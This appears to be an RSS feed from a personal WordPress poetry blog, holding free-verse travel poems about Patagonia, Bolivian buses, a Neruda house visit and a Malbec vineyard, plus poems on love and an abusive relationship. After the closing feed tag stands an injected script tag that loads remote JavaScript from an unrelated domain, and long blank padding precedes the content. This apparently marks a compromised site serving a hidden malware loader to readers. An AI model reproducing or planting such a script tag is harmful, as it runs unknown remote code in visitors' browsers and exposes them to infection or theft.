


















































































































































































































































































































































































































































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title></title>
	<atom:link href="http://poetry.annedirkse.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://poetry.annedirkse.com</link>
	<description>poetry by anne dirkse</description>
	<lastBuildDate>Mon, 30 Nov 2009 02:46:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>For Ronan Lawlor</title>
		<link>http://poetry.annedirkse.com/?p=895</link>
		<comments>http://poetry.annedirkse.com/?p=895#comments</comments>
		<pubDate>Sun, 30 Nov 2008 02:43:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://poetry.annedirkse.com/?p=895</guid>
		<description><![CDATA[I slept little, Ronan, thanks to the wind,
and I wondered if you were cold
if you had frozen
solid somewhere, but I hoped the wind
was keeping you awake
We’d seen the signs at the border
post: persona perdida, Irlandes, 28,
ingenero, amable; ojos
azules; someone had heard you’d been
killed in a puma attack, that only
your glasses remained, others heard you
were found [...]]]></description>
			<content:encoded><![CDATA[<p>I slept little, Ronan, thanks to the wind,<br />
and I wondered if you were cold<br />
if you had frozen<br />
solid somewhere, but I hoped the wind<br />
was keeping you awake</p>
<p>We’d seen the signs at the border<br />
post: <em>persona perdida, Irlandes, 28,</em><br />
<em>ingenero, amable; ojos</em><br />
<em>azules;</em> someone had heard you’d been<br />
killed in a puma attack, that only<br />
your glasses remained, others heard you<br />
were found alive in El Calafate, in a hostel<br />
drinking beer</p>
<p>My tent walls flapped their way<br />
to an early dawn; the sun hovered<br />
over the Torres del Paine, over the clink<br />
and rattle of campers cooking, striking,<br />
setting out over that same path<br />
that was your last</p>
<p>Up the sandy traverse, up the windblown<br />
narrow trails I walked not knowing<br />
that you’d walked them, that<br />
your shadow almost lingered still<br />
over the same rocks I climbed; I held<br />
the worn trees for support, scurried<br />
over boulders unaware<br />
that you’d slipped into a crevasse<br />
below, blown your last breath<br />
into the mighty wind</p>
]]></content:encoded>
			<wfw:commentRss>http://poetry.annedirkse.com/?feed=rss2&amp;p=895</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In Villa O&#8217;Higgins</title>
		<link>http://poetry.annedirkse.com/?p=893</link>
		<comments>http://poetry.annedirkse.com/?p=893#comments</comments>
		<pubDate>Sun, 30 Nov 2008 02:42:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://poetry.annedirkse.com/?p=893</guid>
		<description><![CDATA[JORGEJORGEJORGE
hisses the CB radio in his kitchen;
in the winter it is his house
and in the summer he lets
out the rooms &#8211;
he presses the button;
BRUNYBRUNYBRUNY
Jorge is Spanish and his Sses sound
like THs; everyone in town
knows he is a bit different, but,
he says, they are all a bit
different; that’s how you come to live
at the end of [...]]]></description>
			<content:encoded><![CDATA[<p>JORGEJORGEJORGE<br />
hisses the CB radio in his kitchen;<br />
in the winter it is his house<br />
and in the summer he lets<br />
out the rooms &#8211;<br />
he presses the button;</p>
<p>BRUNYBRUNYBRUNY<br />
Jorge is Spanish and his Sses sound<br />
like THs; everyone in town<br />
knows he is a bit different, but,<br />
he says, they are all a bit<br />
different; that’s how you come to live<br />
at the end of the road.</p>
<p>Bruny is short for Brunhilda and she runs<br />
the <em>mini-mercado</em> that her ex-husband<br />
built for her; it has a dozen shelves<br />
and a cooler, little boxes<br />
in the corner: <em>duraznos</em>, <em>papas,<br />
cebollas</em>; sometimes there are tomatoes,<br />
but not now &#8211;</p>
<p>She sleeps in back<br />
and when his house is full<br />
Jorge sleeps there too; the wind howls<br />
through her plexiglass windows, blows<br />
a thousand tiny receipts to the floor; Jorge<br />
is building a new store for her<br />
but it isn’t ready yet;</p>
<p>Bruny is angry and now she isn’t free<br />
for the night anymore; she’s <em>tomando algo</em><br />
with Hans who runs the only boat across<br />
Lago O’Higgins; Jorge shrugs and cooks<br />
Spaghetti Bolognese</p>
<p>JORGEJORGEJORGE<br />
Bruny wants to know where he is<br />
and why he hasn’t come to apologize;<br />
She is angling for that last explosive<br />
moment of the fight; He smiles:<br />
she is difficult</p>
]]></content:encoded>
			<wfw:commentRss>http://poetry.annedirkse.com/?feed=rss2&amp;p=893</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Puyhuapi</title>
		<link>http://poetry.annedirkse.com/?p=890</link>
		<comments>http://poetry.annedirkse.com/?p=890#comments</comments>
		<pubDate>Sun, 30 Nov 2008 02:40:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://poetry.annedirkse.com/?p=890</guid>
		<description><![CDATA[I am waiting for the bus in Puyhuapi;
it will come at one, or so; and so I sit
on the sidewalk as clouds drift
through the looming Andes
as roosters crow, as dogs bark
at every car that tears down
the dusty road
On the corner two lovers coo
on a bench of logs. She leans
toward him awkwardly,
curls up and recoils as [...]]]></description>
			<content:encoded><![CDATA[<p>I am waiting for the bus in Puyhuapi;<br />
it will come at one, or so; and so I sit<br />
on the sidewalk as clouds drift<br />
through the looming Andes<br />
as roosters crow, as dogs bark<br />
at every car that tears down<br />
the dusty road</p>
<p>On the corner two lovers coo<br />
on a bench of logs. She leans<br />
toward him awkwardly,<br />
curls up and recoils as he<br />
bear-hugs her; she puts her knees<br />
up, giggles and casts her eyes<br />
toward him</p>
<p>A dog noses its way<br />
into <em>Sofia’s Resturante</em><br />
<em>y Comidas Rápidas</em> and is quickly<br />
rebuffed; roosters crow; has the day<br />
begun or will the lingering clouds<br />
delay the day until<br />
<em>mañana</em>?</p>
<p>A <em>carabinero</em> walks by, steady<br />
stance, steady glance, gun holstered<br />
at his side; he returns with a young boy<br />
and they share a liter of Coke Light</p>
<p>For the price of two liters of Coke Light<br />
you can stay the night in the <em>hospedaje</em><br />
behind me, which is also the mail<br />
stop, <em>resturante, terminal</em><br />
<em>de autobuses</em></p>
<p>The clouds spit rain, part<br />
occasionally to reveal a snowcapped<br />
peak, while off the lake the wind<br />
blows a plastic bag full of air, tosses it along<br />
the dusty road</p>
]]></content:encoded>
			<wfw:commentRss>http://poetry.annedirkse.com/?feed=rss2&amp;p=890</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Isla Negra</title>
		<link>http://poetry.annedirkse.com/?p=888</link>
		<comments>http://poetry.annedirkse.com/?p=888#comments</comments>
		<pubDate>Fri, 30 Nov 2007 02:39:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://poetry.annedirkse.com/?p=888</guid>
		<description><![CDATA[For what were all the empty
bottles, Mr. Neruda? For what
purpose the ashtrays, anchors,
mermaids, glass-eyed
fish?
I suppose I had been naive
to expect that verse
might be liquid there, crashing
on the black shore; but there
was only a pile of junk
that one man loved, a snack
bar and cameras recording
collections, bathroom tiles,
the stones atop your mortal
remains.
]]></description>
			<content:encoded><![CDATA[<p>For what were all the empty<br />
bottles, Mr. Neruda? For what<br />
purpose the ashtrays, anchors,<br />
mermaids, glass-eyed<br />
fish?</p>
<p>I suppose I had been naive<br />
to expect that verse<br />
might be liquid there, crashing<br />
on the black shore; but there<br />
was only a pile of junk<br />
that one man loved, a snack<br />
bar and cameras recording<br />
collections, bathroom tiles,<br />
the stones atop your mortal<br />
remains.</p>
]]></content:encoded>
			<wfw:commentRss>http://poetry.annedirkse.com/?feed=rss2&amp;p=888</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Paso los Libertadores</title>
		<link>http://poetry.annedirkse.com/?p=886</link>
		<comments>http://poetry.annedirkse.com/?p=886#comments</comments>
		<pubDate>Fri, 30 Nov 2007 02:37:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://poetry.annedirkse.com/?p=886</guid>
		<description><![CDATA[We are stopped, and she wants to know why.
She raps her knuckles on the plexiglass
between us and the driver: ¡Señor! Por
favor, ¡dígame por qué! In the rows
around me boys are calling her la
Evita del autobus and with their laughter
she only raps louder.
We are stopped and we aren&#8217;t moving
until we replace the broken part whose name
I [...]]]></description>
			<content:encoded><![CDATA[<p>We are stopped, and she wants to know why.<br />
She raps her knuckles on the plexiglass<br />
between us and the driver:<em> ¡Señor! Por<br />
favor, ¡dígame por qué! </em>In the rows<br />
around me boys are calling her<em> la<br />
Evita del autobus </em>and with their laughter<br />
she only raps louder.</p>
<p>We are stopped and we aren&#8217;t moving<br />
until we replace the broken part whose name<br />
I don&#8217;t understand, but isn&#8217;t it all really<br />
inconsequential anyhow, the name,<br />
the laughter, the ire of the woman?</p>
<p>But none of it is inconsequential<br />
to Ana in the row across from me;<br />
she has to work in the morning, tells me<br />
that her boss won&#8217;t let her be late and Jesus,<br />
is it too much to ask for a little sleep and a bus<br />
that arrives on time?</p>
<p>Eventually the bus whines its way<br />
uphill, the lights go out, the laughter fades<br />
to snoring; I wipe the steam from my window<br />
and watch the Andes pass like giants<br />
in the moonlight. A moth is stuck<br />
to the window and occasionally it frees<br />
a wing and in its fluttering to free the other<br />
sticks again.</p>
<p>The border sits atop the pass and we wait<br />
in lines until dawn; <em>salida, entrada,</em><br />
<em>inspeción de aduana</em>. I stand with Ana<br />
as she smokes and we talk about<br />
our travels, how she likes my sandals,<br />
wishes she had bought a pair like them<br />
instead of the two cartons<br />
of cigarettes: <em>malditos<br />
cigarillos.</p>
<p></em>We re-board the bus at daybreak<br />
and next to me the moth is hopelessly<br />
stuck; it struggles less and less, finally stops<br />
as sunlight glints over the horizon, as Aconcagua<br />
thrusts herself into view.</p>
]]></content:encoded>
			<wfw:commentRss>http://poetry.annedirkse.com/?feed=rss2&amp;p=886</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tasting Malbec</title>
		<link>http://poetry.annedirkse.com/?p=884</link>
		<comments>http://poetry.annedirkse.com/?p=884#comments</comments>
		<pubDate>Fri, 30 Nov 2007 02:36:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://poetry.annedirkse.com/?p=884</guid>
		<description><![CDATA[Luis is late; his hair is long
and a bit greasy, it flaps as he scales
the steps in long strides. I know him
immediately: he is late; he looks
worried. Señorita, so
sorry; No,
no hay
problema, still the silence
stumbles
between us;
but soon he tells me
about his daughter,
how she is learning English,
how she teaches him a word
or two; I ask about the [...]]]></description>
			<content:encoded><![CDATA[<p>Luis is late; his hair is long<br />
and a bit greasy, it flaps as he scales<br />
the steps in long strides. I know him<br />
immediately: he is late; he looks<br />
worried. <em>Señorita, so<br />
sorry</em>; No,</p>
<p><em>no hay<br />
problema</em>, still the silence<br />
stumbles<br />
between us;</p>
<p>but soon he tells me<br />
about his daughter,<br />
how she is learning English,<br />
how she teaches him a word<br />
or two; I ask about the thunderstorm<br />
the night before, <em>relámpago</em> and, how<br />
do you say it, when pieces of ice<br />
fall from the sky?<br />
C<em>ayeron<br />
piedras</em>.</p>
<p>Luis drops me<br />
at the vineyard, waits<br />
as I tour the grounds, waits<br />
as I walk through rows of Malbec<br />
with Guillermo;</p>
<p>The grapes are shriveled,<br />
Guillermo&#8217;s sadness is palpable. <em>¿Cayeron<br />
piedras?</em></p>
<p><em>sí</em>, he stumbles, <em>hace<br />
dos semanas</em>; we drink fresh water<br />
from an irrigation ditch, look back<br />
across the fields: <em>que tristeza; todo<br />
muerto ya.</em> His sigh rattles<br />
in his throat;</p>
<p>Luis is waiting and he drives me<br />
back to Mendoza; <em>Lodi</em> scratches its way<br />
out of the radio and Luis wants to know<br />
the words and what they mean;<br />
I translate as he moves his head<br />
to the beat; we sing with fervor: <em>oh Lord,<br />
stuck in Lodi again.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://poetry.annedirkse.com/?feed=rss2&amp;p=884</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In Corumbá</title>
		<link>http://poetry.annedirkse.com/?p=882</link>
		<comments>http://poetry.annedirkse.com/?p=882#comments</comments>
		<pubDate>Fri, 30 Nov 2007 02:33:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://poetry.annedirkse.com/?p=882</guid>
		<description><![CDATA[The pousada is a grand old house, with glassless
windows and peeling paint; over
bricked roads my taxi tears
up to it, swerving past motorbikes
hurdling through the darkness.
Brasil meets me at the gate, he does not ask
if I need a room. He takes my backpack and walks
silently up the stairs; He points to a bed
in a laundry-strung dorm:
eight [...]]]></description>
			<content:encoded><![CDATA[<p>The <em>pousada</em> is a grand old house, with glassless<br />
windows and peeling paint; over<br />
bricked roads my taxi tears<br />
up to it, swerving past motorbikes<br />
hurdling through the darkness.</p>
<p>Brasil meets me at the gate, he does not ask<br />
if I need a room. He takes my backpack and walks<br />
silently up the stairs; He points to a bed<br />
in a laundry-strung dorm:<br />
eight <em>reals.<br />
</em>He sets my backpack down.</p>
<p>He speaks<br />
broken English and I<br />
little Portuguese so we circle, approximate<br />
conversation until, uh, <em>u<br />
sehnor falla espanhol? </em></p>
<p><em>Sim!</em></p>
<p>I need an ATM. I have no <em>reals</em>.<br />
Brasil has a red truck with doors that stick<br />
and he drives me around the sleeping city<br />
looking for the Plus logo; He points out the bus<br />
for the border: <em>¿lo ves?</em> FRONTIERA<br />
and a good <em>resturante</em>, open late.</p>
<p>I share the room with five others; we queue<br />
for the shower and fall one by one<br />
into sagging twin beds covered<br />
in a pair of sheets only. But it is too hot<br />
for even sheets, too hot to sleep.<br />
A pair of wobbly ceiling fans<br />
whine like jet engines. <em>Boa noite</em>.<br />
<em>boa noite.</em></p>
<p>The morning sun casts shadows behind the peels<br />
of paint, reveals the haphazard course of the ceiling<br />
fan blades. The house is littered with dusty<br />
sofas, carved parrots, remnants of grandeur.</p>
<p>The bathroom mirror is black except<br />
the very center which reveals the bright<br />
gleam of my sweaty face and suddenly<br />
I see in my place Miss Primrose, my first<br />
grade teacher, her tightly-wound bun,<br />
her complexion so shiny that it appeared<br />
perpetually wet and how I would try<br />
to emulate her, splashing bathwater<br />
on my face.</p>
<p>I wonder where she is now, did she marry,<br />
did her shiny smoothness crease?<br />
It is funny, the undulation of memory,<br />
how and when we remember people.<br />
In three days I will see Brasil again<br />
and for a moment I won&#8217;t recognize him.</p>
]]></content:encoded>
			<wfw:commentRss>http://poetry.annedirkse.com/?feed=rss2&amp;p=882</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Bus to Copacabana</title>
		<link>http://poetry.annedirkse.com/?p=363</link>
		<comments>http://poetry.annedirkse.com/?p=363#comments</comments>
		<pubDate>Wed, 07 Mar 2007 20:38:51 +0000</pubDate>
		<dc:creator>Anne</dc:creator>
				<category><![CDATA[Poetry]]></category>

		<guid isPermaLink="false">http://blog.annedirkse.com/blogs/2007/03/07/the-bus-to-copacabana/</guid>
		<description><![CDATA[ The bus to Copacabana
is a van; the woman wedged between me
and the driver wears layered purple
skirts, a simple sweater and a rounded hat
that floats atop her head.]]></description>
			<content:encoded><![CDATA[<p>The bus to Copacabana<br />
is a van; the woman wedged between me<br />
and the driver wears layered purple<br />
skirts, a simple sweater and a rounded hat<br />
that floats atop her head.</p>
<p>The back is packed with puppies, people,<br />
among them two Bolivian hipsters in faux<br />
Adidas tracksuits, big, glamorous shades.<br />
They pose melodramatically, whistle at the ladies<br />
through the window glass.</p>
<p>We climb collectively out of La Paz; a sign<br />
that reads Copacabana in Old English<br />
script is propped against the windshield, held by a roll<br />
of <em>papel higénico</em>, always pink here.</p>
<p>We level off in El Alto, careen through<br />
a potholed market, <em>lleno de gente</em>, swimming<br />
in <em>gente</em>, and they are selling flowers, food,<br />
blankets <em>hecho del arco iris</em>,<br />
<em>encendedores, camisetas, baterí­as &#8212; </em></p>
<p>The mass of people fades; a boy in a ski mask<br />
digs dirt into a pothole half his height, holds out<br />
his hand as we pass. The driver gives him<br />
a Boliviano, <em>gracias<br />
gracias</em>.</p>
<p>We pass through farms where bright-skirted<br />
ladies carry blanketsfull of grasses<br />
on their backs; we follow the shores<br />
of the sacred lake and at Tiquina, leave the bus<br />
for an overloaded boat to the opposite shore:<br />
yellow, green and red, she teeters, leaks,<br />
but does not sink,<br />
<em>esta vez</em>.</p>
<p>We rejoin our bus, wind uphill<br />
and down, around wild<br />
corners where suddenly squares<br />
are cut out of asphalt, <em>¡Cuidado! Hombres<br />
Trabajando</em>, but nobody slows down, there are no<br />
<em>hombres, nadie está trabajando</em>; we swerve<br />
past <em>autobuses, camiones</em>, Corollas, crosses<br />
covered in flowers.</p>
]]></content:encoded>
			<wfw:commentRss>http://poetry.annedirkse.com/?feed=rss2&amp;p=363</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On Giving Freedom</title>
		<link>http://poetry.annedirkse.com/?p=307</link>
		<comments>http://poetry.annedirkse.com/?p=307#comments</comments>
		<pubDate>Fri, 01 Sep 2006 20:36:55 +0000</pubDate>
		<dc:creator>Anne</dc:creator>
				<category><![CDATA[Poetry]]></category>

		<guid isPermaLink="false">http://blog.annedirkse.com/blogs/?p=307</guid>
		<description><![CDATA[It is easy<br/>
from her sunken eyes
to tell he isn’t all
she cracks him up to be;]]></description>
			<content:encoded><![CDATA[<p align="right"><em>We did not charge hundreds of miles into the heart of Iraq<br />
and pay a bitter cost of casualties and liberate 25 million people<br />
only to retreat before a band of thugs and assassins</em><em>.</em><em><br />
&#8211; George W. Bush</em></p>
<p align="right">
<p>It is easy<br />
from her sunken eyes<br />
to tell he isn&#8217;t all<br />
she cracks him up to be;<br />
she conceals the bruises:<br />
long sleeves in summer,<br />
a swipe of foundation,<br />
excuses,</p>
<p>to fool no one;</p>
<p>she is unhappy<br />
and tells me so daily, wants<br />
something better, whatever it is<br />
but her constitution wavers.</p>
<p><em>One if by land,<br />
two if by sea<br />
I&#8217;ll race in to warn her,<br />
I&#8217;ll dump out the tea<br />
I&#8217;ll strangle the bastard<br />
to set the girl free;</em></p>
<p>but we have been here before,<br />
and when night fades to daylight,<br />
when the wounds are cleaned<br />
her suitcase fills with fear,<br />
her days fill with indirection;<br />
and the shadow of him within her<br />
falls over her again, and again<br />
she will find him<br />
capitulate, comply;</p>
<p>I would give her, if I could,<br />
liberation on a platter,<br />
a towel for her bloodied cheek,<br />
safety; but I cannot help her<br />
any more than I can free a butterfly<br />
from the confines of its chrysalis;</p>
<p>I can only hope the gentle breeze<br />
will lift her, speed her on her way,<br />
but stunted, sticky-winged, she trundles on.</p>
]]></content:encoded>
			<wfw:commentRss>http://poetry.annedirkse.com/?feed=rss2&amp;p=307</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Alcor, Mizar</title>
		<link>http://poetry.annedirkse.com/?p=306</link>
		<comments>http://poetry.annedirkse.com/?p=306#comments</comments>
		<pubDate>Tue, 20 Jun 2006 15:51:10 +0000</pubDate>
		<dc:creator>Anne</dc:creator>
				<category><![CDATA[Poetry]]></category>

		<guid isPermaLink="false">http://blog.annedirkse.com/blogs/?p=306</guid>
		<description><![CDATA[ ]]></description>
			<content:encoded><![CDATA[<p>Behind your eyes Alcor,<br />
Mizar, circle<br />
indistinguishable in the moonlight;<br />
concord vines twist<br />
haphazardly overhead<br />
as we settle into the transient<br />
summer lawn;</p>
<p>from a tangle of constellations<br />
emanates the individual kiss, a single<br />
star to eclipse the night sky,<br />
a single star receding<br />
in the darkness; replaced by another,<br />
brighter, indistinguishable;</p>
<p>I must wonder if I am no more<br />
than a moth, devoid of logic, drawn<br />
powerless into the most radiant light,<br />
the incessant danger of flame;<br />
but there is little point in pondering<br />
what I know already<br />
so I kiss you again<br />
and again;</p>
<p>the bright spots that are your eyes<br />
sliver in the darkness and I suppose<br />
I am trying to ascertain whether,<br />
in an unsuspecting moment, they will turn<br />
to burn me clean through;</p>
<p>the night closes in, language emerges<br />
disheveled; The rider has already<br />
become the horse, the horse is drawn<br />
and quartered into the four great chambers<br />
of the bear&#8217;s bright heart, burning;</p>
<p>Measurement fails, magnitude fools;<br />
seconds of arc fold into a five-thousand year orbit<br />
and the stars that would be one<br />
spin together<br />
in distant proximity</p>
]]></content:encoded>
			<wfw:commentRss>http://poetry.annedirkse.com/?feed=rss2&amp;p=306</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>